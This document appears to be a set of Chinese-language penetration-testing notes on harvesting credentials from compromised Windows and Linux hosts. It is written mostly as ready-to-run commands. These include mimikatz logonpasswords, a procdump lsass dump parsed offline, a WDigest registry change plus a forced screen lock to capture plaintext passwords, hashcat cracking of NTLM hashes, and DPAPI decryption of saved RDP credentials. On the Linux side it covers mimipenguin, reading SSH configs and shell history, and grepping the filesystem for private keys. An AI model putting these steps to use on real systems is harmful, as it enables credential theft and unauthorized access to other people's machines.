总结:
windows:
mimikatz->直接读/间接读–producmp工具
修改注册表->读取明文Wdigest (需通过cs锁屏->系统管理员重新输入密码->获取明文密码)
hashcat强制爆破
RDP凭证抓取 (key->guidmasterkey->masterkey->得到明文账号密码)
linux:
mimipenguin(版本受限) hashcat暴力破解 密码存储:ssh密钥
windows密码抓取
windows-Mimikatz适用坏境:
微软为了防止明文密码泚露发布了补丁KB2871997,关闭了Wdigest功能。
当系统为win10或2012R2以上时,默认在内存缓存禁止保存明文密码,
此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
本机:账号密码(administrator)
其他机器:账号密码
工具
微软自带=>https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump=>扒取密码文件 =>将lsass.dmp放进mimikatz运行
猕猴桃=>https://github.com/gentilkiwi/mimikatz
mimikatz
目标机直接读
mimikatz.exe "privilege:debug""log""sekurlsa:logonpasswords" =>需要提权
CS直接插件读取(获取明文密码)。或者会话交互运行“logonpasswords”命令
攻击端间接读
producmp=>将内存空间复制下来保存到一个dmp(进制位)文件,传回攻击端,攻击端利用猕猴桃解析文件,获取密码凭证
敏感数据下载到攻击端.用攻击端的mimikatz读取密码
https:/learn.microsoft.com/zh-cn/sysinternals/downloads/procdump
针对防护拦截(Mimikatz被拦截)&高版本但有存储(内存还有数据的)
procdum执行=>需高权限
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz执行
mimikatz.exe "sekurlsa::minidump lsass.DMP"
sekurlsa::logonPasswords full
利用procdump(系统工具),在内存里爬数据,不会解析密码,会内存空间复制下来(进制文件),转成dmp进制文件,把文件传回攻击端,攻击端利用猕猴桃解析文件,获取密码&凭据
修改注册表读取明文
修改注册表+强制锁屏+等待系统管理员重新登录+截取明文密码
修改注册表来让Wdigest Auth保存明文口令方式
CS运行下列命令
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Control\SecurityProviders\WDigest\ /v
UseLogonCredential /t REG_DWORD /d 1
锁屏逼迫用户重新输入密码登录!!↓(下图锁屏并重新抓取获得明文密码)#注意:锁屏得是目标权限账户。
不要用提权好的sys tem账户
hashcat暴力破解获取密码
参数:
http://blog.75271.com/49299.html
在线
https://www.cmd5.com/
https://www.somd5.com/
应用
https://hashcat.net/
实例:
针对单个hash
hashcat.exe -a 0 -m 1000 518b98ad4178a53695dc997aa02d455c pass.txt
RDP凭据抓取
(远程桌面连接->3389)
shell cmdkey /list
shell dir /a %userprofile%\appdata\local\microsoft\credentials\* 得到key绝对地址以及key
mimikatz dpapi::cred /in:上面获取的key的绝对地址/key 获取到一个guidmasterkey值
mimikatz sekurlsa::dpapi //获取 guidmasterkey值对应的masterkey值
mimikatz dpapi::cred /in:<上面key值文件完整路径> /masterkey:<获取到的masterkey值> 得到明文账号密码
LINUX密码读取
mimipenguin
适用版本
Kali 4.3.0 (rolling)x64 (gdm3)
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-Oubuntu2)
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-Oubuntu2)
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-Oubuntu2)
VSFTPd 3.0.3-8+b1 (Active FTP client connections)
Apache2 2.4.25-3 (Active/old HTTP BASIC AUTH Sessions)
openssh-server 1:7.3p1-1 (Active SSH connections sudo usage)
工具:
mimipenguin
https://github.com/huntergregal/mimipenguin
chmod 755 ./mimipenguin.sh
./mimioenguin.sh
hashcat暴力破解
密码存储:ssh密钥
SSH密匙是什么?
SSH密钥是一对密钥,由公钥和私钥组成。它们用于进行安全的身份验证和加密通信。在SSH密钥身份验证中,公钥相当于锁,而私钥相当于钥匙。
记住密码--》文件(SSH密匙)---》实现登录
环境:centos7
1.ssh-keygen (要保存密钥文件在那|密钥锁码)=>给你一个密钥
cd .ssh
cat id_rsa.pub >> authorized_keys
vi /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes:
PermitRootLogin yes
PasswordAuthentication no
service sshd restart
需要记住密码的新用户
ssh-copy-id -i ~/.ssh/id_rsa.pub <目标服务器username>@<目标服务器server_ip>
直接登录
ssh Jarun@<目标服务器server_ip>
敏感文件
cat ~/.ssh/config #看管理ssh连接的配置文件
cat ~/.ssh/known_hosts #看用于存储已知主机的公钥
cat ~/.bash_history #看历史记录
#看历史记录
一般情况下SSH密钥存放在~/.ssh/目录下,也可以文件中搜索已保存的SSH凭证
(在根目录及其子目录中搜索包含指定字符串的文件)
grep -ir "BEGIN RSA PRIVATE KEY" /*
grep -ir "BEGIN DSA PRIVATE KEY" /*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
